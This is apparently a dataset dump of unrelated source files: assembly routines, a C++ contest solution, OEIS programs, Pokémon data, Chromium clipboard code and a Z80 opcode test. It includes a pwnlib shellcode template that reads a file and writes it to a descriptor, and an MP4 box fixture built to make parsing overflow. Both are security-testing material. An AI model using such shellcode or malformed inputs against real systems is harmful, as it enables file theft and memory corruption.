text stringlengths 1 1.05M |
|---|
global _main
extern _printf
section .data
hello_str: db 'Hello world!', 0
format: db 'my_strlen() returned %d', 10, 0
section .text
my_strlen:
push ebp
mov ebp, esp
mov edi, [ebp+8]
xor al, al
or ecx, 0xFFFFFFFF
repnz scasb
add ecx, 2
neg ecx
mov eax, ecx
mov esp, ebp
pop ebp
ret
_main:
push hello_str
call my_strlen
add esp, 4
push eax
push format
call _printf
add esp, 8
ret
|
#define __USE_MINGW_ANSI_STDIO 0
#include <bits/stdc++.h>
#include <ext/pb_ds/assoc_container.hpp>
#include <ext/pb_ds/tree_policy.hpp>
using namespace std;
template <class T>
using ordered_set = __gnu_pbds::tree<T, __gnu_pbds::null_type, less<T>, __gnu_pbds::rb_tree_tag, __gnu_pbds::tree_order_statistics_node_update>;
template <class T>
using ordered_multiset = __gnu_pbds::tree<T, __gnu_pbds::null_type, less_equal<T>, __gnu_pbds::rb_tree_tag, __gnu_pbds::tree_order_statistics_node_update>;
#define PI atan2(0, -1)
#define epsilon 1e-9
#define INF 5e18
#define MOD 1000000007
#define mp make_pair
#define pb push_back
#define f first
#define s second
#define lb lower_bound
#define ub upper_bound
int N, parents [200010], depths [200010], depthx, subtreeSizes [200010], ret = -1;
vector<int> adjacency [200010];
bool visited [200010];
void predfs(int curr, int prevy){
for(int nexty : adjacency[curr]){
if(nexty == prevy) continue;
depths[nexty] = depths[curr]+1;
parents[nexty] = curr;
predfs(nexty, curr);
}
}
int askDist(int curr){
cout << "d " << curr << endl;
int x; cin >> x;
return x;
}
int askSecond(int curr){
cout << "s " << curr << endl;
int x; cin >> x;
return x;
}
void findSubtreeSizes(int curr, int prevy){
subtreeSizes[curr] = 1;
for(int nexty : adjacency[curr]){
if(visited[nexty] || nexty == prevy) continue;
findSubtreeSizes(nexty, curr);
subtreeSizes[curr] += subtreeSizes[nexty];
}
}
int getCentroid(int curr){
findSubtreeSizes(curr, 0);
int sz = subtreeSizes[curr], prevy = 0;
while(true){
pair<int, int> maxi = mp(0, 0);
for(int nexty : adjacency[curr]){
if(visited[nexty] || nexty == prevy) continue;
maxi = max(maxi, mp(subtreeSizes[nexty], nexty));
}
if(maxi.first*2 > sz){ prevy = curr; curr = maxi.second; }
else return curr;
}
return -1;
}
void solveIt(int curr){
curr = getCentroid(curr); assert(curr > 0); visited[curr] = true;
int dist = askDist(curr);
if(dist == 0){ ret = curr; return; }
if(depths[curr]+dist == depthx) solveIt(askSecond(curr));
else solveIt(parents[curr]);
}
int main(){
//freopen("sort.in", "r", stdin); freopen("sort.out", "w", stdout);
ios_base::sync_with_stdio(0); cin.tie(0); cout << fixed << setprecision(10);
cin >> N;
for(int i = 1; i < N; i++){
int a, b; cin >> a >> b;
adjacency[a].pb(b); adjacency[b].pb(a);
}
predfs(1, 0); depthx = askDist(1);
solveIt(1); assert(ret > 0);
cout << "! " << ret << endl;
return 0;
}
/******************************
Kateba ii dake no hanashi darou
Success is only a victory away
- No Game No Life Opening
******************************/
|
; A008464: a(n) = 2^(2n+3) - 2^n*(n+3).
; 1,5,24,108,464,1936,7936,32192,129792,521472,2091008,8375296,33525760,134156288,536739840,2147205120,8589344768,34358493184,137436332032,549750308864,2199011721216,8796068904960,35184321757184,140737383497728,562949735317504
add $0,2
mov $1,2
pow $1,$0
sub $2,$0
add $2,$1
mul $1,8
mul $1,$2
mov $0,$1
div $0,64
|
<%
from pwnlib import constants
from pwnlib.shellcraft import arm
%>
<%page args="filename, fd=1"/>
<%docstring>
Opens a file and writes its contents to the specified file descriptor.
Example:
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.linux.cat(f)).recvline()
b'FLAG\n'
</%docstring>
${arm.pushstr(filename)}
${arm.linux.open('sp', int(constants.O_RDONLY), 0)}
${arm.linux.sendfile(fd, 'r0', 0, 0x7fffffff)}
|
%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24) )
stsd_start:
dd BE(stsd_end - stsd_start)
db "stsd"
dd BE(0)
dd BE(1)
; not enough fields: 'stsd' parsing will overflow
stsd_end:
; put a fake box to ensure this error won't be hidden by a bitstream reader error
aaaa_start:
dd BE(aaaa_end - aaaa_start)
db "aaaa"
aaaa_end:
|
db 0 ; species ID placeholder
db 90, 82, 87, 76, 75, 85
; hp atk def spd sat sdf
db POISON, GROUND ; type
db 45 ; catch rate
db 194 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F100 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/nidoqueen/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_SLOW ; growth rate
dn EGG_NONE, EGG_NONE ; egg groups
; tm/hm learnset
tmhm DYNAMICPUNCH, HEADBUTT, CURSE, ROAR, TOXIC, ROCK_SMASH, HIDDEN_POWER, SUNNY_DAY, SNORE, BLIZZARD, HYPER_BEAM, ICY_WIND, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, IRON_TAIL, THUNDER, EARTHQUAKE, RETURN, SHADOW_BALL, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, SANDSTORM, FIRE_BLAST, DEFENSE_CURL, THUNDERPUNCH, DETECT, REST, ATTRACT, THIEF, FIRE_PUNCH, FURY_CUTTER, WATER_SPORT, STRONG_ARM, FLAMETHROWER, THUNDERBOLT, ICE_BEAM
; end
|
; A093960: a(1) = 1, a(2) = 2, a(n + 1) = n*a(1) + (n-1)*a(2) + ...(n-r)*a(r + 1) + ... + a(n).
; 1,2,4,11,29,76,199,521,1364,3571,9349,24476,64079,167761,439204,1149851,3010349,7881196,20633239,54018521,141422324,370248451,969323029,2537720636,6643838879,17393796001,45537549124,119218851371,312119004989,817138163596,2139295485799,5600748293801,14662949395604,38388099893011,100501350283429,263115950957276,688846502588399,1803423556807921,4721424167835364
mul $0,2
sub $0,1
mov $1,1
lpb $0,1
sub $0,1
mov $2,1
trn $4,$1
add $2,$4
add $3,$1
add $1,$2
mov $4,$3
lpe
|
; A108587: Floor(n/(1-sin(1))).
; Submitted by Jamie Morken(s4)
; 6,12,18,25,31,37,44,50,56,63,69,75,82,88,94,100,107,113,119,126,132,138,145,151,157,164,170,176,182,189,195,201,208,214,220,227,233,239,246,252,258,264,271,277,283,290,296,302,309,315,321,328,334,340,346
add $0,1
mov $1,82
mul $1,$0
div $1,13
mov $0,$1
|
; Substitute for z80 cpdr instruction
; aralbrec 02.2008
; flag-perfect emulation of cpdr
SECTION code_crt0_sccz80
PUBLIC __z80asm__cpdr
IF __CPU_GBZ80__
EXTERN __z80asm__ex_sp_hl
ENDIF
__z80asm__cpdr:
jr nc, enterloop
call enterloop
; scf clears N and H - must set carry the hard way
push af
IF __CPU_GBZ80__
call __z80asm__ex_sp_hl
ELSE
ex (sp), hl
ENDIF
IF __CPU_INTEL__
ld a, l
or @00000001
ld l, a
ELSE
set 0, l ; set carry
ENDIF
jr retflags
loop:
dec hl
enterloop:
dec bc
cp (hl) ; compare, set flags
jr z, match
inc c
dec c
jr nz, loop
inc b
djnz loop
; .nomatch
cp (hl) ; compare, set flags
dec hl
push af
joinbc0:
IF __CPU_GBZ80__
call __z80asm__ex_sp_hl
ELSE
ex (sp), hl
ENDIF
IF __CPU_INTEL__
ld a, l
and @11111010
ld l, a
ELSE
res 0, l ; clear carry
res 2, l ; clear P/V -> BC == 0
ENDIF
jr retflags
match:
dec hl
push af
ld a, b
or c
jr z, joinbc0
IF __CPU_GBZ80__
call __z80asm__ex_sp_hl
ELSE
ex (sp), hl
ENDIF
IF __CPU_INTEL__
ld a, l
and @11111110
or @00000100
ld l, a
ELSE
res 0, l ; clear carry
set 2, l ; set P/V -> BC != 0
ENDIF
retflags:
IF __CPU_GBZ80__
call __z80asm__ex_sp_hl
ELSE
ex (sp), hl
ENDIF
pop af
ret
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ui/base/dragdrop/os_exchange_data_provider_aurax11.h"
#include "base/logging.h"
#include "base/memory/ref_counted_memory.h"
#include "base/message_loop/message_pump_x11.h"
#include "base/strings/string_util.h"
#include "base/strings/utf_string_conversions.h"
#include "net/base/net_util.h"
#include "ui/base/clipboard/clipboard.h"
#include "ui/base/clipboard/scoped_clipboard_writer.h"
#include "ui/base/x/selection_utils.h"
#include "ui/base/x/x11_util.h"
// Note: the GetBlah() methods are used immediately by the
// web_contents_view_aura.cc:PrepareDropData(), while the omnibox is a
// little more discriminating and calls HasBlah() before trying to get the
// information.
namespace ui {
namespace {
const char kDndSelection[] = "XdndSelection";
const char* kAtomsToCache[] = {
kString,
kText,
kUtf8String,
kDndSelection,
Clipboard::kMimeTypeURIList,
kMimeTypeMozillaURL,
Clipboard::kMimeTypeText,
NULL
};
} // namespace
OSExchangeDataProviderAuraX11::OSExchangeDataProviderAuraX11(
::Window x_window,
const SelectionFormatMap& selection)
: x_display_(gfx::GetXDisplay()),
x_root_window_(DefaultRootWindow(x_display_)),
own_window_(false),
x_window_(x_window),
atom_cache_(x_display_, kAtomsToCache),
format_map_(selection),
selection_owner_(x_display_, x_window_,
atom_cache_.GetAtom(kDndSelection)) {
// We don't know all possible MIME types at compile time.
atom_cache_.allow_uncached_atoms();
}
OSExchangeDataProviderAuraX11::OSExchangeDataProviderAuraX11()
: x_display_(gfx::GetXDisplay()),
x_root_window_(DefaultRootWindow(x_display_)),
own_window_(true),
x_window_(XCreateWindow(
x_display_,
x_root_window_,
-100, -100, 10, 10, // x, y, width, height
0, // border width
CopyFromParent, // depth
InputOnly,
CopyFromParent, // visual
0,
NULL)),
atom_cache_(x_display_, kAtomsToCache),
format_map_(),
selection_owner_(x_display_, x_window_,
atom_cache_.GetAtom(kDndSelection)) {
// We don't know all possible MIME types at compile time.
atom_cache_.allow_uncached_atoms();
XStoreName(x_display_, x_window_, "Chromium Drag & Drop Window");
base::MessagePumpX11::Current()->AddDispatcherForWindow(this, x_window_);
}
OSExchangeDataProviderAuraX11::~OSExchangeDataProviderAuraX11() {
if (own_window_) {
base::MessagePumpX11::Current()->RemoveDispatcherForWindow(x_window_);
XDestroyWindow(x_display_, x_window_);
}
}
void OSExchangeDataProviderAuraX11::TakeOwnershipOfSelection() const {
selection_owner_.TakeOwnershipOfSelection(format_map_);
}
void OSExchangeDataProviderAuraX11::RetrieveTargets(
std::vector<Atom>* targets) const {
selection_owner_.RetrieveTargets(targets);
}
SelectionFormatMap OSExchangeDataProviderAuraX11::GetFormatMap() const {
// We return the |selection_owner_|'s format map instead of our own in case
// ours has been modified since TakeOwnershipOfSelection() was called.
return selection_owner_.selection_format_map();
}
OSExchangeData::Provider* OSExchangeDataProviderAuraX11::Clone() const {
OSExchangeDataProviderAuraX11* ret = new OSExchangeDataProviderAuraX11();
ret->format_map_ = format_map_;
return ret;
}
void OSExchangeDataProviderAuraX11::SetString(const base::string16& text_data) {
std::string utf8 = UTF16ToUTF8(text_data);
scoped_refptr<base::RefCountedMemory> mem(
base::RefCountedString::TakeString(&utf8));
format_map_.Insert(atom_cache_.GetAtom(Clipboard::kMimeTypeText), mem);
format_map_.Insert(atom_cache_.GetAtom(kText), mem);
format_map_.Insert(atom_cache_.GetAtom(kString), mem);
format_map_.Insert(atom_cache_.GetAtom(kUtf8String), mem);
}
void OSExchangeDataProviderAuraX11::SetURL(const GURL& url,
const base::string16& title) {
// Mozilla's URL format: (UTF16: URL, newline, title)
if (url.is_valid()) {
string16 spec = UTF8ToUTF16(url.spec());
std::vector<unsigned char> data;
ui::AddString16ToVector(spec, &data);
ui::AddString16ToVector(ASCIIToUTF16("\n"), &data);
ui::AddString16ToVector(title, &data);
scoped_refptr<base::RefCountedMemory> mem(
base::RefCountedBytes::TakeVector(&data));
format_map_.Insert(atom_cache_.GetAtom(kMimeTypeMozillaURL), mem);
SetString(spec);
}
}
void OSExchangeDataProviderAuraX11::SetFilename(const base::FilePath& path) {
NOTIMPLEMENTED();
}
void OSExchangeDataProviderAuraX11::SetFilenames(
const std::vector<OSExchangeData::FileInfo>& filenames) {
NOTIMPLEMENTED();
}
void OSExchangeDataProviderAuraX11::SetPickledData(
const OSExchangeData::CustomFormat& format,
const Pickle& pickle) {
const unsigned char* data =
reinterpret_cast<const unsigned char*>(pickle.data());
std::vector<unsigned char> bytes;
bytes.insert(bytes.end(), data, data + pickle.size());
scoped_refptr<base::RefCountedMemory> mem(
base::RefCountedBytes::TakeVector(&bytes));
format_map_.Insert(atom_cache_.GetAtom(format.ToString().c_str()), mem);
}
bool OSExchangeDataProviderAuraX11::GetString(base::string16* result) const {
std::vector< ::Atom> text_atoms = ui::GetTextAtomsFrom(&atom_cache_);
std::vector< ::Atom> requested_types;
ui::GetAtomIntersection(text_atoms, GetTargets(), &requested_types);
ui::SelectionData data(format_map_.GetFirstOf(requested_types));
if (data.IsValid()) {
std::string text = data.GetText();
*result = UTF8ToUTF16(text);
return true;
}
return false;
}
bool OSExchangeDataProviderAuraX11::GetURLAndTitle(
GURL* url,
base::string16* title) const {
std::vector< ::Atom> url_atoms = ui::GetURLAtomsFrom(&atom_cache_);
std::vector< ::Atom> requested_types;
ui::GetAtomIntersection(url_atoms, GetTargets(), &requested_types);
ui::SelectionData data(format_map_.GetFirstOf(requested_types));
if (data.IsValid()) {
// TODO(erg): Technically, both of these forms can accept multiple URLs,
// but that doesn't match the assumptions of the rest of the system which
// expect single types.
if (data.GetType() == atom_cache_.GetAtom(kMimeTypeMozillaURL)) {
// Mozilla URLs are (UTF16: URL, newline, title).
base::string16 unparsed;
data.AssignTo(&unparsed);
std::vector<base::string16> tokens;
size_t num_tokens = Tokenize(unparsed, ASCIIToUTF16("\n"), &tokens);
if (num_tokens > 0) {
if (num_tokens > 1)
*title = tokens[1];
else
*title = string16();
*url = GURL(tokens[0]);
return true;
}
} else if (data.GetType() == atom_cache_.GetAtom(
Clipboard::kMimeTypeURIList)) {
// uri-lists are newline separated file lists in URL encoding.
std::string unparsed;
data.AssignTo(&unparsed);
std::vector<std::string> tokens;
size_t num_tokens = Tokenize(unparsed, "\n", &tokens);
if (!num_tokens) {
NOTREACHED() << "Empty URI list";
return false;
}
*url = GURL(tokens[0]);
*title = base::string16();
return true;
}
}
return false;
}
bool OSExchangeDataProviderAuraX11::GetFilename(base::FilePath* path) const {
// On X11, files are passed by URL and aren't separate.
return false;
}
bool OSExchangeDataProviderAuraX11::GetFilenames(
std::vector<OSExchangeData::FileInfo>* filenames) const {
// On X11, files are passed by URL and aren't separate.
return false;
}
bool OSExchangeDataProviderAuraX11::GetPickledData(
const OSExchangeData::CustomFormat& format,
Pickle* pickle) const {
std::vector< ::Atom> requested_types;
requested_types.push_back(atom_cache_.GetAtom(format.ToString().c_str()));
ui::SelectionData data(format_map_.GetFirstOf(requested_types));
if (data.IsValid()) {
// Note that the pickle object on the right hand side of the assignment
// only refers to the bytes in |data|. The assignment copies the data.
*pickle = Pickle(reinterpret_cast<const char*>(data.GetData()),
static_cast<int>(data.GetSize()));
return true;
}
return false;
}
bool OSExchangeDataProviderAuraX11::HasString() const {
std::vector< ::Atom> text_atoms = ui::GetTextAtomsFrom(&atom_cache_);
std::vector< ::Atom> requested_types;
ui::GetAtomIntersection(text_atoms, GetTargets(), &requested_types);
return !requested_types.empty();
}
bool OSExchangeDataProviderAuraX11::HasURL() const {
std::vector< ::Atom> url_atoms = ui::GetURLAtomsFrom(&atom_cache_);
std::vector< ::Atom> requested_types;
ui::GetAtomIntersection(url_atoms, GetTargets(), &requested_types);
return !requested_types.empty();
}
bool OSExchangeDataProviderAuraX11::HasFile() const {
// On X11, files are passed by URL and aren't separate.
return false;
}
bool OSExchangeDataProviderAuraX11::HasCustomFormat(
const OSExchangeData::CustomFormat& format) const {
std::vector< ::Atom> url_atoms;
url_atoms.push_back(atom_cache_.GetAtom(format.ToString().c_str()));
std::vector< ::Atom> requested_types;
ui::GetAtomIntersection(url_atoms, GetTargets(), &requested_types);
return !requested_types.empty();
}
void OSExchangeDataProviderAuraX11::SetHtml(const base::string16& html,
const GURL& base_url) {
std::vector<unsigned char> bytes;
// Manually jam a UTF16 BOM into bytes because otherwise, other programs will
// assume UTF-8.
bytes.push_back(0xFF);
bytes.push_back(0xFE);
ui::AddString16ToVector(html, &bytes);
scoped_refptr<base::RefCountedMemory> mem(
base::RefCountedBytes::TakeVector(&bytes));
format_map_.Insert(atom_cache_.GetAtom(Clipboard::kMimeTypeHTML), mem);
}
bool OSExchangeDataProviderAuraX11::GetHtml(base::string16* html,
GURL* base_url) const {
std::vector< ::Atom> url_atoms;
url_atoms.push_back(atom_cache_.GetAtom(Clipboard::kMimeTypeHTML));
std::vector< ::Atom> requested_types;
ui::GetAtomIntersection(url_atoms, GetTargets(), &requested_types);
ui::SelectionData data(format_map_.GetFirstOf(requested_types));
if (data.IsValid()) {
*html = data.GetHtml();
*base_url = GURL();
return true;
}
return false;
}
bool OSExchangeDataProviderAuraX11::HasHtml() const {
std::vector< ::Atom> url_atoms;
url_atoms.push_back(atom_cache_.GetAtom(Clipboard::kMimeTypeHTML));
std::vector< ::Atom> requested_types;
ui::GetAtomIntersection(url_atoms, GetTargets(), &requested_types);
return !requested_types.empty();
}
void OSExchangeDataProviderAuraX11::SetDragImage(
const gfx::ImageSkia& image,
const gfx::Vector2d& cursor_offset) {
drag_image_ = image;
drag_image_offset_ = cursor_offset;
}
const gfx::ImageSkia& OSExchangeDataProviderAuraX11::GetDragImage() const {
return drag_image_;
}
const gfx::Vector2d& OSExchangeDataProviderAuraX11::GetDragImageOffset() const {
return drag_image_offset_;
}
bool OSExchangeDataProviderAuraX11::Dispatch(const base::NativeEvent& event) {
XEvent* xev = event;
switch (xev->type) {
case SelectionRequest:
selection_owner_.OnSelectionRequest(xev->xselectionrequest);
break;
default:
NOTIMPLEMENTED();
}
return true;
}
bool OSExchangeDataProviderAuraX11::GetPlainTextURL(GURL* url) const {
string16 text;
if (GetString(&text)) {
GURL test_url(text);
if (test_url.is_valid()) {
*url = test_url;
return true;
}
}
return false;
}
std::vector< ::Atom> OSExchangeDataProviderAuraX11::GetTargets() const {
return format_map_.GetTypes();
}
///////////////////////////////////////////////////////////////////////////////
// OSExchangeData, public:
// static
OSExchangeData::Provider* OSExchangeData::CreateProvider() {
return new OSExchangeDataProviderAuraX11();
}
} // namespace ui
|
;original test file by Colley, additions by Herb Johnson HRJ 2/2014
;
; Z-80 Opcodes in Alphabetical Order
;
; This file is used to test the Z-80 cross-assembler. The opcodes are in
; alphabetical order rather than the usual numerical order so that I can
; compare the output to my Z-80 assembly-language reference card.
;
DD EQU 05H
EE EQU 30H
NN EQU 0584H
N EQU 20H
;------------------------------------------------------------------------------
ADC A, (HL)
ADC A, (IX + DD)
ADC A, (IY + DD)
ADC A, A
ADC A, B
ADC A, C
ADC A, D
ADC A, E
ADC A, H
ADC A, L
ADC A, N
;------------------------------------------------------------------------------
ADC HL, BC
ADC HL, DE
ADC HL, HL
ADC HL, SP
;------------------------------------------------------------------------------
ADD A, (HL)
ADD A, (IX + DD)
ADD A, (IY + DD)
ADD A, A
ADD A, B
ADD A, C
ADD A, D
ADD A, E
ADD A, H
ADD A, L
ADD A, N
;------------------------------------------------------------------------------
ADD HL, BC
ADD HL, DE
ADD HL, HL
ADD HL, SP
;------------------------------------------------------------------------------
ADD IX, BC
ADD IX, DE
ADD IX, IX
ADD IX, SP
;------------------------------------------------------------------------------
ADD IY, BC
ADD IY, DE
ADD IY, IY
ADD IY, SP
;------------------------------------------------------------------------------
AND (HL)
AND (IX + DD)
AND (IY + DD)
AND A
AND B
AND C
AND D
AND E
AND H
AND L
AND N
;------------------------------------------------------------------------------
BIT 0, (HL)
BIT 0, (IX + DD)
BIT 0, (IY + DD)
BIT 0, A
BIT 0, B
BIT 0, C
BIT 0, D
BIT 0, E
BIT 0, H
BIT 0, L
BIT 1, (HL)
BIT 1, (IX + DD)
BIT 1, (IY + DD)
BIT 1, A
BIT 1, B
BIT 1, C
BIT 1, D
BIT 1, E
BIT 1, H
BIT 1, L
BIT 2, (HL)
BIT 2, (IX + DD)
BIT 2, (IY + DD)
BIT 2, A
BIT 2, B
BIT 2, C
BIT 2, D
BIT 2, E
BIT 2, H
BIT 2, L
BIT 3, (HL)
BIT 3, (IX + DD)
BIT 3, (IY + DD)
BIT 3, A
BIT 3, B
BIT 3, C
BIT 3, D
BIT 3, E
BIT 3, H
BIT 3, L
BIT 4, (HL)
BIT 4, (IX + DD)
BIT 4, (IY + DD)
BIT 4, A
BIT 4, B
BIT 4, C
BIT 4, D
BIT 4, E
BIT 4, H
BIT 4, L
BIT 5, (HL)
BIT 5, (IX + DD)
BIT 5, (IY + DD)
BIT 5, A
BIT 5, B
BIT 5, C
BIT 5, D
BIT 5, E
BIT 5, H
BIT 5, L
BIT 6, (HL)
BIT 6, (IX + DD)
BIT 6, (IY + DD)
BIT 6, A
BIT 6, B
BIT 6, C
BIT 6, D
BIT 6, E
BIT 6, H
BIT 6, L
BIT 7, (HL)
BIT 7, (IX + DD)
BIT 7, (IY + DD)
BIT 7, A
BIT 7, B
BIT 7, C
BIT 7, D
BIT 7, E
BIT 7, H
BIT 7, L
;------------------------------------------------------------------------------
CALL C, NN
CALL M, NN
CALL NC, NN
CALL NZ, NN
CALL P, NN
CALL PE, NN
CALL PO, NN
CALL Z, NN
;------------------------------------------------------------------------------
CALL NN
;------------------------------------------------------------------------------
CCF
;------------------------------------------------------------------------------
CP (HL)
CP (IX + DD)
CP (IY + DD)
CP A
CP B
CP C
CP D
CP E
CP H
CP L
CP N
;------------------------------------------------------------------------------
CPD
;------------------------------------------------------------------------------
CPDR
;------------------------------------------------------------------------------
CPI
;------------------------------------------------------------------------------
CPIR
;------------------------------------------------------------------------------
CPL
;------------------------------------------------------------------------------
DAA
;------------------------------------------------------------------------------
DEC (HL)
DEC (IX + DD)
DEC (IY + DD)
DEC A
DEC B
DEC BC
DEC C
DEC D
DEC DE
DEC E
DEC H
DEC HL
DEC IX
DEC IY
DEC L
DEC SP
;------------------------------------------------------------------------------
DI
;------------------------------------------------------------------------------
DJNZ $ + EE ;test program counter symbol $
;------------------------------------------------------------------------------
EI
;------------------------------------------------------------------------------
EX (SP), HL
EX (SP), IX
EX (SP), IY
;------------------------------------------------------------------------------
EX AF, AF'
;------------------------------------------------------------------------------
EX DE, HL
;------------------------------------------------------------------------------
EXX
;------------------------------------------------------------------------------
HALT
;------------------------------------------------------------------------------
IM 0
IM 1
IM 2
;------------------------------------------------------------------------------
IN A, (C)
IN B, (C)
IN C, (C)
IN D, (C)
IN E, (C)
IN H, (C)
IN L, (C)
;------------------------------------------------------------------------------
INC (HL)
INC (IX + DD)
INC (IY + DD)
INC A
INC B
INC BC
INC C
INC D
INC DE
INC E
INC H
INC HL
INC IX
INC IY
INC L
INC SP
;------------------------------------------------------------------------------
IN A, (N)
;------------------------------------------------------------------------------
IND
;------------------------------------------------------------------------------
INDR
;------------------------------------------------------------------------------
INI
;------------------------------------------------------------------------------
INIR
;------------------------------------------------------------------------------
JP NN
JP (HL)
JP (IX)
JP (IY)
;------------------------------------------------------------------------------
JP C, NN
JP M, NN
JP NC, NN
JP NZ, NN
JP P, NN
JP PE, NN
JP PO, NN
JP Z, NN
;------------------------------------------------------------------------------
JR C, $ + EE
JR NC, $ + EE
JR NZ, $ + EE
JR Z, $ + EE
;------------------------------------------------------------------------------
JR $ + EE
;------------------------------------------------------------------------------
LD (BC), A
LD (DE), A
LD (HL), A
LD (HL), B
LD (HL), C
LD (HL), D
LD (HL), E
LD (HL), H
LD (HL), L
LD (HL), N
LD (IX + DD), A
LD (IX + DD), B
LD (IX + DD), C
LD (IX + DD), D
LD (IX + DD), E
LD (IX + DD), H
LD (IX + DD), L
LD (IX + DD), N
LD (IY + DD), A
LD (IY + DD), B
LD (IY + DD), C
LD (IY + DD), D
LD (IY + DD), E
LD (IY + DD), H
LD (IY + DD), L
LD (IY + DD), N
LD (NN), A
LD (NN), BC
LD (NN), DE
LD (NN), HL
LD (NN), IX
LD (NN), IY
LD (NN), SP
LD A, (BC)
LD A, (DE)
LD A, (HL)
LD A, (IX + DD)
LD A, (IY + DD)
LD A, (NN)
LD A, A
LD A, B
LD A, C
LD A, D
LD A, E
LD A, H
LD A, I
LD A, L
LD A, N
LD A, R
LD B, (HL)
LD B, (IX + DD)
LD B, (IY + DD)
LD B, A
LD B, B
LD B, C
LD B, D
LD B, E
LD B, H
LD B, L
LD B, N
LD BC, (NN)
LD BC, NN
LD C, (HL)
LD C, (IX + DD)
LD C, (IY + DD)
LD C, A
LD C, B
LD C, C
LD C, D
LD C, E
LD C, H
LD C, L
LD C, N
LD D, (HL)
LD D, (IX + DD)
LD D, (IY + DD)
LD D, A
LD D, B
LD D, C
LD D, D
LD D, E
LD D, H
LD D, L
LD D, N
LD DE, (NN)
LD DE, NN
LD E, (HL)
LD E, (IX + DD)
LD E, (IY + DD)
LD E, A
LD E, B
LD E, C
LD E, D
LD E, E
LD E, H
LD E, L
LD E, N
LD H, (HL)
LD H, (IX + DD)
LD H, (IY + DD)
LD H, A
LD H, B
LD H, C
LD H, D
LD H, E
LD H, H
LD H, L
LD H, N
LD HL, (NN)
LD HL, NN
LD I, A
LD IX, (NN)
LD IX, NN
LD IY, (NN)
LD IY, NN
LD L, (HL)
LD L, (IX + DD)
LD L, (IY + DD)
LD L, A
LD L, B
LD L, C
LD L, D
LD L, E
LD L, H
LD L, L
LD L, N
LD R, A
LD SP, (NN)
LD SP, HL
LD SP, IX
LD SP, IY
LD SP, NN
;------------------------------------------------------------------------------
LDD
;------------------------------------------------------------------------------
LDDR
;------------------------------------------------------------------------------
LDI
;------------------------------------------------------------------------------
LDIR
;------------------------------------------------------------------------------
NEG
;------------------------------------------------------------------------------
NOP
;------------------------------------------------------------------------------
OR (HL)
OR (IX + DD)
OR (IY + DD)
OR A
OR B
OR C
OR D
OR E
OR H
OR L
OR N
;------------------------------------------------------------------------------
OTDR
;------------------------------------------------------------------------------
OTIR
;------------------------------------------------------------------------------
OUT (C), A
OUT (C), B
OUT (C), C
OUT (C), D
OUT (C), E
OUT (C), H
OUT (C), L
;------------------------------------------------------------------------------
OUT (N), A
;------------------------------------------------------------------------------
OUTD
;------------------------------------------------------------------------------
OUTI
;------------------------------------------------------------------------------
POP AF
POP BC
POP DE
POP HL
POP IX
POP IY
;------------------------------------------------------------------------------
PUSH AF
PUSH BC
PUSH DE
PUSH HL
PUSH IX
PUSH IY
;------------------------------------------------------------------------------
RES 0, (HL)
RES 0, (IX + DD)
RES 0, (IY + DD)
RES 0, A
RES 0, B
RES 0, C
RES 0, D
RES 0, E
RES 0, H
RES 0, L
RES 1, (HL)
RES 1, (IX + DD)
RES 1, (IY + DD)
RES 1, A
RES 1, B
RES 1, C
RES 1, D
RES 1, E
RES 1, H
RES 1, L
RES 2, (HL)
RES 2, (IX + DD)
RES 2, (IY + DD)
RES 2, A
RES 2, B
RES 2, C
RES 2, D
RES 2, E
RES 2, H
RES 2, L
RES 3, (HL)
RES 3, (IX + DD)
RES 3, (IY + DD)
RES 3, A
RES 3, B
RES 3, C
RES 3, D
RES 3, E
RES 3, H
RES 3, L
RES 4, (HL)
RES 4, (IX + DD)
RES 4, (IY + DD)
RES 4, A
RES 4, B
RES 4, C
RES 4, D
RES 4, E
RES 4, H
RES 4, L
RES 5, (HL)
RES 5, (IX + DD)
RES 5, (IY + DD)
RES 5, A
RES 5, B
RES 5, C
RES 5, D
RES 5, E
RES 5, H
RES 5, L
RES 6, (HL)
RES 6, (IX + DD)
RES 6, (IY + DD)
RES 6, A
RES 6, B
RES 6, C
RES 6, D
RES 6, E
RES 6, H
RES 6, L
RES 7, (HL)
RES 7, (IX + DD)
RES 7, (IY + DD)
RES 7, A
RES 7, B
RES 7, C
RES 7, D
RES 7, E
RES 7, H
RES 7, L
;------------------------------------------------------------------------------
RET
;------------------------------------------------------------------------------
RET C
RET M
RET NC
RET NZ
RET P
RET PE
RET PO
RET Z
;------------------------------------------------------------------------------
RETI
;------------------------------------------------------------------------------
RETN
;------------------------------------------------------------------------------
RL (HL)
RL (IX + DD)
RL (IY + DD)
RL A
RL B
RL C
RL D
RL E
RL H
RL L
;------------------------------------------------------------------------------
RLA
;------------------------------------------------------------------------------
RLC (HL)
RLC (IX + DD)
RLC (IY + DD)
RLC A
RLC B
RLC C
RLC D
RLC E
RLC H
RLC L
;------------------------------------------------------------------------------
RLCA
;------------------------------------------------------------------------------
RLD
;------------------------------------------------------------------------------
RR (HL)
RR (IX + DD)
RR (IY + DD)
RR A
RR B
RR C
RR D
RR E
RR H
RR L
;------------------------------------------------------------------------------
RRA
;------------------------------------------------------------------------------
RRC (HL)
RRC (IX + DD)
RRC (IY + DD)
RRC A
RRC B
RRC C
RRC D
RRC E
RRC H
RRC L
;------------------------------------------------------------------------------
RRCA
;------------------------------------------------------------------------------
RRD
;------------------------------------------------------------------------------
RST 00H
RST 08H
RST 10H
RST 18H
RST 20H
RST 28H
RST 30H
RST 38H
;------------------------------------------------------------------------------
SBC A, (HL)
SBC A, (IX + DD)
SBC A, (IY + DD)
SBC A, A
SBC A, B
SBC A, C
SBC A, D
SBC A, E
SBC A, H
SBC A, L
SBC A, N
SBC HL, BC
SBC HL, DE
SBC HL, HL
SBC HL, SP
;------------------------------------------------------------------------------
SCF
;------------------------------------------------------------------------------
SET 0, (HL)
SET 0, (IX + DD)
SET 0, (IY + DD)
SET 0, A
SET 0, B
SET 0, C
SET 0, D
SET 0, E
